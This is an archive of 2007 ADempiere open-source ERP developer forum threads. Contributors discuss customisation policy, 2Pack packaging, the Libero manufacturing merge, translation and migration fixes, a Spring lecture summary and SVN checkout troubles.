As I read this thread I remember that I have heard red1 on many occasions ask, "what customisation cannot go into the standard?"

Which when I thought about it found it very hard to answer.

Okay there will be those few changes unique to a specific customer customisations... an interface to a legacy system for example, but typically a need for a customisation points to a weakness in the standard application. Certainly country wide customisations such as carlos speaks off when he talks about local taxation ... these must point is a weakness in our standard application? Should we not look to enhance the standard to enable to function for these scenarios too?

of course to support our individual customers it is best to keep an exact copy of the code we installed for them. I would think the best solution there is simply to use the version control system of our choice... at least that is my intention. And while this may include a customer specific code in the short term (for time constraint reasons), I think our goal should always be to ask what is wrong with the standard that we cannot implement our customers requirements without customisation of the code.

colin

2007-02-23 00:35:00 UTC

I wonder if i quite get what u mean Colin,

You say, "a need for a customisation points to a weakness in the standard application".

Hmm! I tot that such customisations are more of localisations to not only specific locales but clients and thus shuld not be in the main standard.

Here, via 2pack and yes Robert Klein specifically tried to tackle Sam's scenario above, merely attempt to give a standard for small differentials source/metadata to be easily incorporated into client's apps.

If i read u correctly, any 'weakness' we find shall become standardised in the main core. Wouldn't that make that core bulky and an integrative/interface nightmare?

The differentials points to specific client or verticals that cannot be the same in others.

What i have tried to impress during the last technical meeting is that we allow disparate verticals to flourish first, and then slowly identify common factors in them, and then componentised them into the main core. All in a progressive iterative process of widen trials and mutual validations.

This is called Extreme Programming, dude.

(sorry, i didnt take any Irish Whisky but i took some cough syrup and it got me high)
chuckles *coughs*

redl

2007-02-23 06:15:33 UTC

re: I wonder if i quite get what u mean Colin
well let me said first redl that I didn't mean there was no need for 2pack.

I think roberts FA is a case in point. Is it a customisation? I strikes me as functionality that should exists in everyones version! On the other hand the basic production functionality might be enough for many small workshops but for any kind of serious manufacturing victors libero Mfg is a must... this to me is an ideal 2pack candidate.

On the other hand if core functionality such as taxation needs to "customised" for a specific country then to me that means there is a weakness in our design as it is not flexible enough to cover all scenarios.

Sorry I missed most of the last meeting... but I don't get the XP reference. I don't see how it matters how a customisation/enhancement is developed!?

And I did have a glass of wine with my dinner so perhaps I was also in "la la land" :)

colin

2007-02-24 05:24:31 UTC

Hi,

What Carlos does with 2Pack seem suitable to our situation as well. Thanks for sharing with us, Carlos. If any new ideas on this, surely we will post it here.

Regards

Sam24368

2007-02-24 15:01:35 UTC

I try to keep customizations in the "extend" directory of my source tree. However, in this case I had to add code to MInvoice (under base) that references a custom object in compiere.model under the extend directory. The ant scripts build "base" first so referencing the Extend.jar doesn't help.

I could move custom code under "base". This would be the easiest solution but is not desirable. I want to keep customizations separate.

I looked into modifying base/build.xml but my knowledge of Ant is limited. Could I somehow use the "depends" parameter? Maybe pass a dependency to javac?

2007-02-26 13:18:32 UTC

I remember someone (I think someone now in adempiere) once posted a small but very useful enhancement in the Compiere forums. It allowed the restriction via roles (I think) to the "info" windows that are available in the "view" dropdown menu. I know it is late in the day but it would be nice to get this in before 3.1.5 ... since no more enhancements will be included after that.

Does anyone remember this or have any info on it?

colin

2007-02-27 00:07:17 UTC

Hi Colin, the thread you mentioned is here:

http://sourceforge.net/forum/forum.php?thread_id=1309524&forum_id=108148

Regards,

Carlos Ruiz

2007-02-27 12:20:24 UTC

yes carlos that was it.... thx.

I takes away access ok but it leaves the options in the menu, so there is still a little work to do!

thx again

colin

2007-02-28 06:20:50 UTC

how to automatically print report from ADempiere,
to Microsoft Excel file (XLS) and to Adobe Reader files (PDF)

thank you
sin-sin

2007-02-28 11:26:01 UTC

Hi sin-sin,

I don't understand what do you mean with automatically. You can export any report from ADempiere to many formats with the Export button (into the report preview window). You need to have set the "Always Preview Print" option active (Tools -> Preference Window); otherwise the report will be printed automatically with not preview window.

Regards,

Alejandro

2007-02-28 13:17:59 UTC

not sure about xls ... but I think there are printer drivers that will produce pdf files ... I think i remember using pdf995 a long time ago but there may be many others and perhaps even a similiar util/driver for creating csv files which excel could read.

colin

2007-02-28 13:23:29 UTC

For those of you who want pdf, <https://sourceforge.net/projects/pdfcreator/> is an excellent program to create pdf by printing them on the pdfcreator.

Regards
Peter

2007-02-28 16:34:41 UTC

Yes, pdfcreator is a very good product. You use pdfcreator like a printer. The problem is that only Windows is supported. I'm using it.

Yes Colin, XML is not supported as export format into ADempiere, but csv is a option.

Regards,

Alejandro

2007-02-28 17:38:01 UTC

Hi.

I have in revision 1725 next errors:

```
-----> MRole.get_Value: Column not found - Allow_Info_Product
-----> MRole.get_Value: Column not found - Allow_Info_BPartner
-----> MRole.get_Value: Column not found - Allow_Info_Schedule
-----> MRole.get_Value: Column not found - Allow_Info_Order
-----> MRole.get_Value: Column not found - Allow_Info_Invoice
-----> MRole.get_Value: Column not found - Allow_Info_InOut
-----> MRole.get_Value: Column not found - Allow_Info_Payment
-----> MRole.get_Value: Column not found - Allow_Info_CashJournal
-----> MRole.get_Value: Column not found - Allow_Info_Resource
-----> MRole.get_Value: Column not found - Allow_Info_Asset
```

How fix it?

Anatoly

2007-02-28 18:22:07 UTC

Hi,

Quickly, you can run this query:

```
INSERT INTO AD_Column_Trl
(AD_Language,IsTranslated,AD_Client_ID,AD_Org_ID,Created,Createdby,Updated,Up
datedBy,AD_Column_ID,Name) SELECT
l.AD_Language,'N',t.AD_Client_ID,t.AD_Org_ID,t.Created,t.Createdby,t.Updated,t.Upd
atedBy,t.AD_Column_ID,t.Name FROM AD_Language l, AD_Column t WHERE
l.IsActive='Y' AND l.IsSystemLanguage='Y' AND l.IsBaseLanguage='N' AND
(l.AD_Language,AD_Column_ID) NOT IN (SELECT AD_Language,AD_Column_ID
FROM AD_Column_Trl)
```

Best regards,

Teo Sarca

2007-02-28 18:34:50 UTC

Hi,

you need to apply the script 012_AD_Role_add_allow_info_flags.sql from
SVN_trunk\migration\314-trunk.

Regards,
Karsten

2007-02-28 18:56:16 UTC

Thanks Teo and Karsten.
After run 012_AD_Role_add_allow_info_flags.sql - all OK.
Anatoly

2007-03-02 15:14:31 UTC

Hi,

With the release 315 there are some problems with the JasportReports integration.

There is a packaging bug when building adempiere and it comes to package jasper reports classes (org.compiere.report package) into Adempiere.jar client library.

Johannes (DeathMeat) has done some changes to fix it into trunk at revision 1780.

But if you are using the binary files from 315 release, you can solve it:

- 1) Copy your "CompiereJasper.jar" into ADEMPIERE_HOME%\lib folder
- 2) Add to CLASSPATH: "ADEMPIERE_HOME%\lib\CompiereJasper.jar" into RUN_Adempiere.[bat|sh] script

So your CLASSPATH should be something as:

```
@Set  
CLASSPATH=%ADEMPIERE_HOME%\lib\customization.jar;%ADEMPIERE_HOME  
%\lib\patches.jar;%ADEMPIERE_HOME%\lib\Adempiere.jar;%ADEMPIERE_HOME  
%\lib\AdempiereCLib.jar;%ADEMPIERE_HOME%\lib\CompiereJasperReqs.jar;%ADE  
MPIERE_HOME%\lib\CompiereJasper.jar;%CLASSPATH%
```

Regards,

Alejandro

2007-03-02 16:57:34 UTC

I couldn't explain it better, thanks Alejandro!

Best regards Johannes

2007-03-02 17:27:13 UTC

Hi.

System compiled from trunk (version 20070302-1122)

XE base from Adempiere.dmp

System Issue Report:

No Tabs - AD_Window_ID=50006 - SELECT * FROM AD_Tab_vt WHERE
AD_Window_ID=? AND AD_Language='ru_RU' ORDER BY SeqNo

Logger: org.compiere.default

Source class: org.compiere.model.GridWindowVO

Source method: createTabs

How solve this problem?

Anatoly

2007-03-02 18:00:42 UTC

Hi Anatoly,

just a guess - but I would think that you have to do a 'Language Maintenance' run.

Log in as System Admin and go to System Admin -> General Rules -> System Rules ->
Language.

Select your language (russian) and press the 'Language Maintenance' button. Select 'Add
missing Translations' and press ok.

Hope that it solves your problem,

Karsten

2007-03-02 18:24:37 UTC

Hi Karsten.

I was make it.

I delete problem record from log and I repeat Add missing translation.

Log is clear now.

Thanks.

Anatoly

2007-03-02 05:18:29 UTC

Hi, I tried to merge libero with last trunk, and it looks like a very difficult task.

Many classes in conflict (obviously all X_model, and others) and I don't know what have
been changed to choose which to keep.

I'm wondering if the merging effort is worth, keeping in mind that our goal is to have a libero package and not a libero trunk.

What do you think?

Regards,

Carlos Ruiz

2007-03-02 06:56:18 UTC

X_Model may mean that Libero is reused the table structures? Cant we delete the X_classes and GenerateModel later?

But it is meant to be a 2pack plugin package and so shuldnt be in trunk, but in its own separate jar in the first place.

Or we let it stay in branch and ask Victor to focus documenting about it enuf for us to proceed. He better get it ready fast to demo here.

2007-03-02 12:55:25 UTC

Hi Carlos,

>Many classes in conflict (obviously all X_model, and others) and I don't know
>what have been changed to choose which to keep.

This is the major reason i describe changes in Druid.

I'm waiting for approval and if i get it i will be albe to work for 1 month on libero integration.

>I'm wondering if the merging effort is worth, keeping in mind that our goal
>is to have a libero package and not a libero trunk.

>

>What do you think?

My opinion is that the only way is integration of libero and Admpiere, else we are creating fork and we will have to support two version. One with Libero and another without.

Now many people could tell create two version, but support of two versions is too expensive in the long run.

I would ask people who need MFG functionality to support Adempiere team for integration effort.

Kind regards,

Trifon

2007-03-02 15:13:26 UTC

That is what Victor suppose to avoid by doing it via 2Pack. Reason i say so, is that Victor claimed to have port his Liebro onto 2pack succesfully even last month. Somehow no further news or documentaton came out of it.

If Victor cannot manage it, then we have to figure out another way to take over the Libero to study if we can handle it ourselves.

2007-03-02 21:22:28 UTC

- > This is the major reason i describe changes in Druid.
- > I'm waiting for approval and if i get it i will be albe to work for 1 month on
- > libero integration.

Very good news for libero, to have the master Trifon working on that!!!

It was discussed previously on IRC if we want to keep changes in Druid, or changes in Adempiere+2pack.

Conclusion of attendants (you were there) was that for community will be better to develop and keep changes within Adempiere instead of an external tool like Druid, and that enhancing 2pack we can have the best of that, Adempiere to develop and 2pack to keep changes in xml.

Once stabilized 2pack, it can be easy to keep xml 2pack changes in svn repository to track those changes.

For official dictionary entries I think a better approach (and waiting for stabilization of that too) is to use the ddlutils. Currently in an advanced stage (at this moment ddlutils is used to generate the postgres seed), but we need to stabilize that enough to generate also the oracle seed and even better, the migration scripts.

- > My opinion is that the only way is integration of libero and Admpiere, else we are
- > creating fork and we will have to support two version. One with Libero and another
- > without.
- > Now many people could tell create two version, but support of two versions is too
- > expensive in the long run.

What we have discussed (no final decision) is to have libero as a package integrated with 2pack.

For that we'll need:

- Complete stabilization of 2pack and addition of the dictionary entries not currently supported (like workflows and dynamic validations)
- Changes in Adempiere core to allow ModelValidator for packages (several ModelValidator)

We're thinking beyond libero, we're thinking on easing integration of several packages at

the same time.

And also with this we're trying to establish some policies around contributed packages:

- Libero changed some core classes - we want to allow several packages fully integrated without need of touching core
- Also we believe that is better not integrate packages in beta status, when they become stable and many people interested they will be integrated in trunk. This is the postgres style, keep contributions in contrib directory and integrate in trunk when they are fully supported.
- Allow package installation can help to users that don't need some modules (in this case people that don't need manufacturing can keep the system without such module)
- Keep packages in contrib can ease the work of CC, every package has a maintainer, when in trunk it becomes responsibility of CC, so this is another issue why we want to allow in trunk just stabilized work

IMPORTANT:

Look, we have two goals here:

- 1 - manufacturing module
- 2 - easing package contribution

I don't know exactly which is first, so I'm trying to kill 2 birds with 1 shot.

I'm sure with the skills of present people is completely possible.

I don't feel the support on this decision in some key persons, so it's better if we keep the discussion here (I say this always, there are no final decisions)

It's preferable if we hear the position of all community about this issue. It has technical and commercial aspects.

And I will be very happy if next to this discussion all developers pull on the same direction (is not mandatory, but we're not many, so is better if we can join efforts).

Regards,

Carlos Ruiz

2007-03-02 21:37:24 UTC

Greetings,

The package discussion is an important one. Just today we had a first post with an offer for two more. Import/Export handling and Royalties. GlobalERA also has been writing up about logistics.

The CC discussion on the packages outlined what seemed to be a powerful, flexible, and reasonable approach.

Keep up the good work, this is a fantastic framework, and very much needed.

Joel Stangeland
<http://www.idalica.com>

2007-03-03 16:27:09 UTC

http://sourceforge.net/tracker/index.php?func=detail&aid=1673043&group_id=176962&atid=879334

Regards
/Gavin Dunse

2007-03-04 15:54:00 UTC

On login screen, only the organization for whom the role or the user has write access should be listed.

This is because the selected organization will be the default (#AD_Org_ID in context), so some documents will be generated with that organization, but on save you will get an error because you can save them.

Also, this will eliminate a lot of trouble for beginner users.

What you think ?

Best regards,
Teo Sarca

2007-03-04 17:13:41 UTC

if a user or role only has read access (e.g. a supervisor) - will they be able to login ???....

2007-03-04 23:56:43 UTC

Hi Michael,

> if a user or role only has read access (e.g. a supervisor) - will they be able to login
???....

Please see this collateral

bug/patch https://sourceforge.net/tracker/index.php?func=detail&aid=1628050&group_id=176962&atid=879334

Best regards,
Teo Sarca

2007-03-05 14:09:06 UTC

There are several sun-internal java classes used besides the keytool mentioned above:

- 1.) ./serverRoot/src/main/server/org/compiere/ldap/LdapMessage.java:import com.sun.jndi.ldap.*;
- 2.) ./serverRoot/src/main/server/org/compiere/ldap/LdapResult.java:import com.sun.jndi.ldap.BerEncoder;
- 3.) ./looks/src/org/compiere/plaf/CompiereUtils.java:import com.sun.image.codec.jpeg.*;
- 4.) ./dbPort/src/org/compiere/util/EMail.java:import com.sun.mail.smtp.*;
- 5.) ./dbPort/src/org/compiere/util/CCachedRowSet.java:import com.sun.rowset.*;
- 6.) import com.sun.org.apache.bcel.internal.generic.*;

The classes used in 4.) seem to be the java-mail classes with are available seperately from the jvm.

The classes used in 5.) could pose heavy trouble replacing as CCachedRowSet.java extends an sun-internal RowSetImpl class.

The classes mentioned in 6.) are only imported but not used and there's an patch available which removed these imports.#

2007-03-07 15:04:12 UTC

Hi,

we have some usability problems with discount schemas - especially when we use it in purchase orders. The problem is that our vendor provides discounts by discount categories with break discounts. So there are two categories each with 3 breaks. All of their products belong to one of the discount categories but this doesn't correlate with their product categories. So if we want to model this situation in Adempiere we end up in a discount schema with hundreds of entries (one for each product - because product category won't match) and each of them has 3 break entries - but they just represent 2 logical discount types.

I'm thinking of an enhancement to ease the creation of the discount schema but first I want to know if I understand something wrong and there exists a better/easier way to model this situation in Adempiere.

If not - here are my thoughts for a better usability:

Create two tables M_LogicalDiscountSchema and M_LogicalDiscountSchemaBreak first just with ID and Name, second with ID, M_LogicalDiscountSchema_ID, SeqNo, BreakValue and BreakDiscount (and of course the adempiere standard fields).

In M_Product_PO add a field M_LogicalDiscountSchema_ID to mark the product as belonging to a logical discount schema (vendor discount category 1 or 2).

In C_BPartner add a field CreatePurchaseDiscountSchema as a button and link it to a process that creates the discount schema and sets it in PO_DiscountSchema_ID.

The process needs to check all M_Product_PO entries of the bpartner and adds the product to the new generated Discount Schema according to the rules defined in the related logical discount schema.

So what do you think?

Best regards,
Karsten

2007-03-07 23:45:51 UTC

Karsten,

Just wondering if this proposed Discount Generator populates the PriceList>Products window. If so, is it to be push-buttoned from the BPartner Window or it is better fitting at the PriceList>SchemaLine window? Just thinking of having all discount manipulation in one place.

red1

2007-03-08 08:44:42 UTC

Hi red1,

thanks for your repeat :)

Since the generated discount schema depends on a business partner (only products form one vendor) and has to be selected on the bpartner->vendor tab I think this is the better place for the button.

Workflow would be

1. create logical discount schema(s)
2. add M_Product_PO entries (product->purchase) for the products of your vendor and select the right logical discount schema
3. go to bpartner->vendor tab and press the 'generate po discount schema' button

This will generate or update the purchase discount schema for this vendor and select it.

Regards,
Karsten

2007-03-08 21:24:36 UTC

I understand your problem karsten, and in the short term this may be the best route, but I feel stringely that in the long term we should be looking to something like the Rules

Engine Bahman is working on for issues such as this. The caluclastion of prices & discounts are what RE are made for and offer the ultimate flexibility!

just my 2c

colin

2007-03-10 15:05:10 UTC

HI all,

Well, I was looking on the internet for a tool to easily build and ERD model of ADempiere, so I found this tool called eUML2, wich I guess might fit our project needs. Well, they have a free version for OS projects, so I'm writing them an e-mail to ask for a license for our project.

By the way, their website:

<http://www.soyatec.com/euml2/>

<http://www.soyatec.com/euml2/order/opensource.php>

Kindly Regards,

Fernando Lucktemberg

E-mail transcription

Hi, My name is Fernando Lucktemberg and I'm one developer of Adempiere Bazaar (my primary activity with ADempiere is the Brazilian Localization of the ERP), an open source ERP project that has been ranked as n.1 on sourceforge for a few times already.

Well, I'd like to ask for a license of your product, so we could evaluate it and see if it fits our needs. If it does, eUML2 might be the project official tool for ERD and UML.

Hope to hear from you soon.

Kindly Regards,

Fernando Lucktemberg

2007-03-11 09:38:17 UTC

Is there a download of a postgresql pg_dump of the adempiere database?

I would like to start to examine the backend to see if it will fit our needs.

I downloaded the vmware version and pg_dumped the database, but I could not figure out how to get the file onto my real computer.

2007-03-11 18:35:08 UTC

Hi szacks,

Download the latest adempiere binary from sourceforge,
extract it and in data/Adempiere_pg.jar (it is an archive containing the dump)
you will find what you are searching for.

Best regards Johannes

2007-03-10 20:29:51 UTC

Hello,

I added a new table called X_Friends to AD with the following steps:

1. Created the table in Oracle
2. Created my elements in AD
3. Created table and columns in AD with special columns such as AD_Client_ID,
AD_Org_ID...
4. Created Window, Tab & Field in AD
5. Add the Window to Menu.

Everything looks good, but when I tried to open the window, it got hung up there.

from client console, I saw the error message:

at

```
org.compiere.model.MLookupFactory.getLookup_TableDirEmbed(MLookupFactory.jav  
a:685)
```

and

at

```
org.compiere.model.MLookupFactory.getLookup_TableDirEmbed(MLookupFactory.jav  
a:757)
```

can anybody help me figure out what's wrong here, thanks

2007-03-11 11:44:35 UTC

Hi John,

could you please paste more of the error stack trace.

Does your table have a X_Friends_Id field?

Regards,

Karsten

2007-03-11 13:26:32 UTC

Actually I think John is saying there is no X_Friends table which probably means he did not run generateModel step see http://www.adempiere.com/wiki/index.php/NewWindow#Generate_Model

colin

2007-03-12 03:11:17 UTC

Hello,

I do have X_Friends_ID field in my DB table and AD table and column.

Colin, I am one new player here, could you please tell me how to run generateModel step?

Thanks

2007-03-12 07:07:46 UTC

well to be honest I haven't tun it many times myself so perhaps others with more experience might add to the wiki with more details on how it's best used and how its different parameters are used. The litle I know is... it's a utility class with its own main() method which can be found in org.compiere.util.GenerateModel. It is called directly rather than via the main adempiere application... I just set it up as another "RUN..." within Eclipse. As you will see from the code it takes 3 parameters which are:

- * @param AD_Table_ID table id
- * @param directory directory with \ or / at the end.
- * @param packageName package name

if the TABLE_ID is blank is runs for all tables.
the dirctory is the output directory forth X_class files
I never used the package.

On the couple of times I used it I just output all tables to a /tmp directory and then manually copied the new or modified files I wanted back the relevant eclipse workspace dir ... I'm sure there are better ways... but it worked for me :)

colin

2007-03-08 15:08:40 UTC

Hi,

Does any one use postgresql with adempiere of course in a production environment ? it is stable or just in testing phase ?
i am planning to migrate my database from oracle to postgresql, so need to knowhow it behaves.

2007-03-12 09:10:12 UTC

see http://sourceforge.net/forum/forum.php?thread_id=1671619&forum_id=610546
and you might find other posts by searching the forum

2007-03-13 06:48:46 UTC

Hi,

How one can change the ADempiere look and feel font through the UI? I couldn't see something similar to 'Edit Compiere Theme'.

Thank you.

Kind regards,
Bahman

2007-03-12 13:43:38 UTC

Hi all,

We have setup Adempiere 3.15 with Postgres. When we try to delete a Table, it gives the following error :

```
ERROR: update or delete on "ad_table" violates foreign key constraint  
"ad_table_column" on "ad_column"  
Detail: Key (ad_table_id)=(1000001) is still referenced from table "ad_column".;  
State=23503; ErrorCode=0
```

Should this constraint be dropped in DB ??

(Same issue arises while deleting Windows as well)

Regards

Sam24368

2007-03-13 11:58:04 UTC

I don't know what table were you trying to drop but if you wish to drop a user-defined table, you should find all windows and tabs based on that table and also menu items that use the window and then:

1. Delete the menu items.
2. Delete the tab(s) or window(s).
3. Delete the table.

Hope it helps.

Warm regards,
Bahman

2007-03-13 14:51:17 UTC

On Monday (12th Mar) I attended a lecture given by Rod Johnson on Spring and its future. For those who have never heard of Rod he is one of the world's leading authorities on Java and J2EE development. He is a best-selling author, experienced consultant, and open source developer, as well as a popular conference speaker.

Rod's best-selling Expert One-on-One J2EE Design and Development (2002) was one of the most influential books ever published on J2EE. The sequel, J2EE without EJB (July 2004, with Juergen Hoeller), has proven almost equally significant, establishing a comprehensive vision for lightweight, post-EJB J2EE development. The ideas in his "Expert One-on-One J2EE Design and Development" book became the basis of Spring application framework.

For those that have not heard of Spring it's an open source application framework whose aim is according to their website (<http://www.springframework.org/about>):

Spring's mission always been clear:

*To provide a non-invasive programming model. As far as possible, application code should be decoupled from the framework.

*To provide a superior solution to in-house infrastructure, so that developers can focus on delivering business value rather than solving generic problems.

*To make developing enterprise applications as simple as possible, but enhancing, rather than sacrificing, power.

Laudable goals I think we would all agree.

I must admit I didn't know a whole lot about Spring but I had read the original book I mentioned above and I felt it was the best j2ee book written! But my j2ee experience is lacking and working on compiere hasn't helped so my familiarity is not what I would like it to be. It would have been better I guess if some of those involved with TANG could have heard the lecture.

I had intended to record the conference but I forgot my recorder and as I had intended to record didn't take a notepad ... so the few notes I have included here are based on scribbles I made on the back of some loose paper I had in my pockets. Sorry about that.

So this lecture was brief overview of Spring and a look at what's new in Spring 2.0 and what's coming to Spring.

After quickly stating his view that an application framework should not interfere with the application, that it should enhance the programmer rather than make life difficult he went on to explain some of the features Spring 2.0 has and how they help in benefit.

1. Backward compatibility. Spring put great effort into maintaining compatibility. They know their audience is the developers of Enterprise applications and that stability and compatibility are very very important. So feel secure that you will not be left behind.

2. AOP – Spring embraces Aspect Oriented Programming and makes its use simple.

3. Multi-Language Support. That's programming languages. Spring 2.0 enables integration of non-java code such as jruby or groovy as well as many others. Here the emphasis is to allow the best tool for the job to be used.

4. Acegi Security <http://www.acegisecurity.org/>

a fully featured access control allowing control to be applied at the bean level

5. There is a Spring IDE for eclipse (no mention of netbeans!). Testing is a big part of Spring so the IDE simplifies this greatly. Actually one great thing he demoed was the Spring extension of Exceptions. It catches SQL Exceptions and generates a multitude of more meaningful Exceptions. Another of his strong beliefs satted is that if a piece of business code cannot do anything about an exception then really that exception shouldn't need to be handled by the business code. He rightly points out that something like a SQL exception is actually a breach of the contract between the tiers and a breakdown of the golden rule that a layer/tier only now about the layer below them (with which it has a contract – i.e. Its interface)

6. Mule integration – Again Mule is not something I knew a whole lot about.

See [http://en.wikipedia.org/wiki/Mule_\(software\)](http://en.wikipedia.org/wiki/Mule_(software)) and its home page

is <http://mule.mulesource.org/wiki/display/MULE/Home> .

So from what he spoke of I took it that Mule was an open source messaging broker (perhaps a little more!). Rod explained it was actually rewritten using Spring!

7. Spring is involved with OpenSOA and in creation of SCA [Service Component Architecture]. Not existing as we speak but all existing Spring applications will automatically be SCA enabled. <http://www.osoa.org/display/Main/Home>

8. Spring will also support OSGi. Yet, another topic I had not heard of [at this point I'm beginning to wonder what I'm doing here :)]. This he described as a technology for creating a module base system. As well as much more I'm sure, modules are aware of dependencies and include versioning control. This is a mature (>5 years) technology and to support this said the next oracle application server would be based on OSGi + Spring! OSGi providing flexibility while Spring provided ease of use.

While he was unable, for contractual reasons, to speak on many instances of who used

Spring he did give the follow examples of projects he has been involved with and which utilise the Spring Framework:

- * VOCA – until recently all interbanking transactions in the United Kingdom were controlled by the BACS [Bankers Automated Clearing Services] application. This is now managed by the VOCA project a Spring based application that handles peaks of >80million transaction per day and has to date not resulted in a single transaction lost. This is apparently a six folder increase in performance from the mainframe based BACS.
- * French Online Tax Returns
- * The European Patent Office's website

he also highly recommended reading: Domain-Driven Design by Eric Evans.

I spoke briefly with Rod after the conference about our project. I gave a 60 sec overview and explained our wish to enhance to become DB independent & distributed to allow (potentially) multiple UIs including web - and our thinking of going EJB3. His advice was; don't change anything for technology's sake. Look at individual issues and make small changes to resolve them – basically if it ain't broken don't fix it!

On the question of using EJB3 with the likes of hibernate and/or Spring he emphasized that the goals of Spring were to simplify the developers job. It's use did not preclude the use of EJB3 and/or Hibernate but rather separated those aspects so as to allow the choice without effecting the business logic.

Spring is controlled by the company Interface21 of which Rod is the CEO. It's licensed under the Apache License, Version 2.0.

2007-03-14 09:47:47 UTC

In Adempiere 315 and oracle xe, I check table from db, I found that there are many records, however, no any records exist in AD_printformatitem_trl.xml. this file is exported from database with run_trlexport.bat.

In table here, I found some record be translated, another is not.

When to generenate RECORD to AD_printformatitem_trl?

another question is: How to convert invoice to new language like zh_cn.

Regards

2007-03-14 10:32:18 UTC

Noah,
Hi

> When to generenate RECORD to AD_printformatitem_trl?

I didn't understand you clearly but if you want to translate something just do it through

the translation tab ('Item Translation' for PrintFormat) or translate the XML file and import it into database using the 'Translation Import/Export'.

> How to convert invoice to new language like zh_cn.

If you want to translate the Invoice window, you should translate the system elements used in the window.

Warm regards,
Bahman

2007-03-14 10:33:11 UTC

Noah,
Hi

> When to generate RECORD to AD_printformatitem_trl?

I didn't understand you clearly but if you want to translate something just do it through the translation tab ('Item Translation' for PrintFormat) or translate the XML file and import it into database using the 'Translation Import/Export'.

> How to convert invoice to new language like zh_cn.

If you want to translate the Invoice window, you should translate the system elements used in the window.

I hope I understood your questions correctly :-)

Warm regards,
Bahman

2007-03-14 09:31:26 UTC

In adempiere 315 and oracle xe, Region tab of country region and city window is list when opening window, if to add a new record or edit a existing record, screen is empty.

2007-03-14 10:47:10 UTC

Noah,

In the 'Country' tab check the 'Country has region' checkbox in order to add regions.

Warm regards,
Bahman

2007-03-07 21:42:50 UTC

Hi community, given that Adempiere is becoming bigger and bigger every day, I think is a good policy to have maintainers by areas.

Please feel free to give us your opinions here or at discussion tab of:

http://www.adempiere.com/wiki/index.php/Commit_Committee

If you want to volunteer to be maintainer of one module or functionality, please ask here or in wiki.

Objectives for Module Maintainers are the same objectives of Commit Committee but specific to the area.

First nomination for module maintainers (I asked them previously and they agreed, thank you very much):

Module Maintainers for Jasper Report Integration

* Johannes Gubo (DeathMeat)

* Alejandro Falcone (Afalcone)

Regards,

Carlos Ruiz

2007-03-08 06:23:22 UTC

Hi Carlos,

good decision!

Congratulations Johannes and Alejandro :)

Regards,

Karsten

2007-03-08 21:33:27 UTC

I also think this is a wise decision.

Perhaps the topic of how to break down the project can be the topic for the next CC meeting?

Maybe then it might be easier for people to see where they can help?

colin

2007-03-13 13:53:18 UTC

Hi Carlos,

I think we have to create a CC for System Configurator functionality. The CC will propose and direct new development and maintain its entries, naming convention, etc.

Regards,

Armen

2007-03-15 01:30:11 UTC

- > I think we have to create a CC for System Configurator functionality.
- > The CC will propose and direct new development and maintain its
- > entries, naming convention, etc.

Hi Armen, IMHO System Configurator is a small functionality to avoid hardcoding and allow flexible parameterization.

So, System Configurator by itself doesn't need a CC module maintainer. But, as all dictionary entries, it needs a "guardian".

But this is just my opinion, want to hear more from community.

BTW, I started a discussion about System Configurator here:

http://sourceforge.net/tracker/index.php?func=detail&aid=1647656&group_id=176962&atid=879332

It's very important try to define best practices when defining new parameters, naming conventions, etc.

Regards,

Carlos Ruiz

2006-11-27 14:59:54 UTC

Hi all

please someone can give to me a link to download directly Adempiere 3.1.1 source code?
i have problem with the use of the eclipse svn client (the check out operation fail)
thank's

2006-11-27 15:46:00 UTC

Hi

This is a problem with the svn on sourceforge.

When you did the checkout, it did begin the checkout process is that correct?

If so then switch to another perspective (i.e. other than svn) such as resource or java then right-click on the project name and choose team->update from the menu.

That should restart the checkout continuing from where it failed.

On occasions it might not continue but if you read the message carefully it will tell you there is a problem with a specific file already existing ... delete this file and then do the update again.

It might continue only to stop again further on just keep persisting with the update you will get there eventually.

colin

2007-03-15 02:12:41 UTC

I also get the same problem. I also use TortoiseSVN and it needs authentication. How can I get user name and password ? I still don't know how to get ADempiere source code...

Thanks.

2007-03-15 02:52:47 UTC

using Tortoise SVN, I always get this message :

Error: PROPFIND request failed on '/svnroot/adempiere/tags/adempiere314'
Error: PROPFIND of '/svnroot/adempiere/tags/adempiere314': could not connect to server (<https://svn.sourceforge.net>)

and using subclipse in eclipse, I got these message :

RA layer request failed
svn: REPORT request failed on '/svnroot/adempiere!/svn/vcc/default'
svn: REPORT of '/svnroot/adempiere!/svn/vcc/default': Could not read response body:
Secure connection truncated (<https://svn.sourceforge.net>)

RA layer request failed
svn: PROPFIND request failed on
'/svnroot/adempiere/tags/adempiere314/JasperReportsTools'
svn: PROPFIND of '/svnroot/adempiere/tags/adempiere314/JasperReportsTools': SSL
negotiation failed: Secure connection truncated (<https://svn.sourceforge.net>)

RA layer request failed
svn: PROPFIND request failed on '/svnroot/adempiere/tags/adempiere314/db'
svn: PROPFIND of '/svnroot/adempiere/tags/adempiere314/db': Could not read status
line: Secure connection truncated (<https://svn.sourceforge.net>)

RA layer request failed
svn: PROPFIND request failed on
'/svnroot/adempiere!/svn/bc/1859/tags/adempiere314/dbPort'
svn: PROPFIND of '/svnroot/adempiere!/svn/bc/1859/tags/adempiere314/dbPort': Could
not read response body: Secure connection truncated (<https://svn.sourceforge.net>)

can anybody tell me how to solve these problem ??? Or can I download source code in zip file (direct download) ????

thanks in advance.

2007-03-15 05:03:58 UTC

Hi.

svn co <https://svn.sourceforge.net/svnroot/adempiere/trunk> adempiere (for trunk)

svn co <https://svn.sourceforge.net/svnroot/adempiere/tags/adempiere3xx> adempiere3xx (for releases)

It is easy... (on Linux)

I nothing know about winMS\$:)

I'm linuxer.

Anatoly

2007-03-15 05:25:28 UTC

Hi Pandjie,

I had problems too, trying to get the Adempiere sources to Eclipse.

In the thread I started http://sourceforge.net/forum/forum.php?thread_id=1680666&forum_id=610548, you can see what I did in order to overcome the problems. After days of fight and despair, I got the files and since then, it works always.

If you work with Windows, Tortoise seems the best choice, at least that is my experience.

If working with Linux, Subclipse plugin for Eclipse is best.

It is easy with Netbeans, too, but Adempiere developers seem to prefer Eclipse, so we newbies should better stick to Eclipse ;-)

The errors you document I did not see in my struggle to downloading the source code.

Maybe you have windows configuration errors? or firewall/proxy problems? The PROPFIND errors are totally new to me.

Mario

2007-03-15 06:03:15 UTC

in Eclipse, can I set my proxy server ?? I connect to the internet through proxy server

Thanks.

2007-03-15 06:49:16 UTC

Check this location: Window->Preferences->Internet->Proxy Settings

Warm regards,
Bahman

2007-03-15 09:29:31 UTC

I had such problems then I switched to the url
<https://adempiere.svn.sourceforge.net/svnroot/adempiere>
And I haven't had problems since ... I think the issue is in the SF servers themselves.

anyway this works for me ... i never get such errors now.

colin

